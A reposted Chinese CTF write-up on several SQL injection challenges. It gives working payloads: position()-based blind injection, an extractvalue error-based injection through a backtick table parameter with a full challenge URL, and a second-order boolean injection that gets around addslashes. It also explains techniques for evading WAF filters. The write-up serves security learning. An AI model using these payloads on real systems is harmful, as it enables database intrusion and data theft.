转自http://www.wupco.cn/?p=3764
cuit
首先Web300 山水集团
第一步找到加密接口搭代理就不说了
接下来是注入,filter如下
这里主要的难点在于如何按字节拆解返回的值,以完成按字节爆破盲注,waf拦截了我们常用的substr,like,left等函数,这里我查了一下官方文档,找到position函数。
通过position((str1)IN(str2))绕过空格的拦截,至于=用!(<>)绕过,然后形成最终payload
(1)or(!(position((%27user_name§b§%27)IN(select(group_concat(COLUMN_NAME))from(information_schema.COLUMNS)))%3C%3E1))
其实这种方法并不是最优解,看了官方的wp后,get到一个tip:
where中用于判断的大于号,不仅仅是用于比较大小,对于字符串,也有比较的功能(按字节比较)
where中用于判断的大于号,不仅仅是用于比较大小,对于字符串,也有比较的功能(按字节比较)
于是这道题就简单了,完全不需要函数,直接利用这个来进行按字节的爆破即可
CST
感受俊杰师傅的恐怖吧!
这里我说一下其中一道题,有两个参数,一个是table,一个是id,然后在id里存在盲注,但是有waf,不过报错注入还是挺轻松的。
但是恐怖的事情来了,waf拦截了column这个字符串,也就是说我们无法拿到字段名(column_name,columns等都无法使用)
过了一会,我找俊杰师傅要了一下hint,table是可以注入的,而且没做任何waf
但是之前试过对table进行修改,改成除了flag和news的都提示表错误,结合hint是可以注入,又试了好多根本猜不透语句是怎么写的,后来找师傅要了语句。
这个desc真的没想到.......一直以为是和tctf那道CI框架的题一样,先select出表名,进行检测,然后再执行最终sql语句。
然后师傅又甩我个雨牛博客
最终我的payload是
http://114.55.36.69:20680/index.php?table=flag`%20`i%&id=3
利用通配符%进行按字节爆破,搞出了字段名,最后用报错注入拿到flag。
但是俊杰师傅马上甩我一个更简单的payload,如下
http://192.168.20.133/index.php?table=flag`%23` where 0=extractvalue(1,(select group_concat(0x3a,column_name) from information_schema.columns where table_name=‘error_flag‘))%23`&id=1
这句在desc一句中变成
desc `error_flag`#` where 0=extractvalue(1,(select group_concat(0x3a,column_name) from information_schema.columns where table_name=‘error_flag‘))#``
#直接注释掉后面的内容,然后这句正常返回error_flag的所有字段。
放在下面的select语句中变成
select * from error_flag`#` where 0=extractvalue(1,(select group_concat(0x3a,column_name) from information_schema.columns where table_name=‘error_flag‘))#`
`#`刚好作为alias,后面直接报错注入出字段名
某校校赛/WCTF
这道题我只做了第一步,注入部分。
逻辑如下:
首先是注册,其中country字段在前端是option 用户进行选择的
然后是login登陆,到userinfo里有三个信息
这里我直接把最终payload放出来了,其实要收集信息,要踩以下几个坑:
- 通过不断改变country,发现第一个点:country第一个字符会进行判断,如果是大写,不做改变,如果是非大写英文字符,则ascii码-0x20再转换成字符存入库中;
- Date是根据设置的时区的当前时间
- waf很强大,先不说过滤了什么,能使用的只有‘,@,(,),还有一些没啥用的可见字符。
第一点,对于普通的英文字符没什么用,无非是字符的大写转化,但是对于符号就不一样了,这里通过观察可以发现,数据是经过addsalashes处理的,如果我们传入‘xxx,‘通过转义变成/‘,然后经过第一点的规则变成<‘,成功闭合了单引号。
但是后面的语句怎么注释掉呢?#和空格都被waf拦截。
这里雨牛的博客有个tip
`在php-mysql里可以被自动闭合,也就是我们可以找到一个使用alias或者使用列名的地方,利用这一个tip去注释掉后面的内容。
构造出来的最终payload是
country=‘and(1=2)and(1)[email protected]`
和
country=‘or(1)or(1)[email protected]`
是bool型注入,但是有哪里不一样呢???
这就要考验眼力了,注意到date里面,如果是使用or(1),采用是时区就是默认时区,最后的时间和中国的时间保持同步,如果是and(1=2),则采用不知道是哪国的时区,和现在时间差距很大。
这里我猜测中间有一条sql语句专门来判断选择时区的。
所以通过这个,一个二次注入(bool盲注)就达成了,注意不能使用空格,用括号来绕过就ok了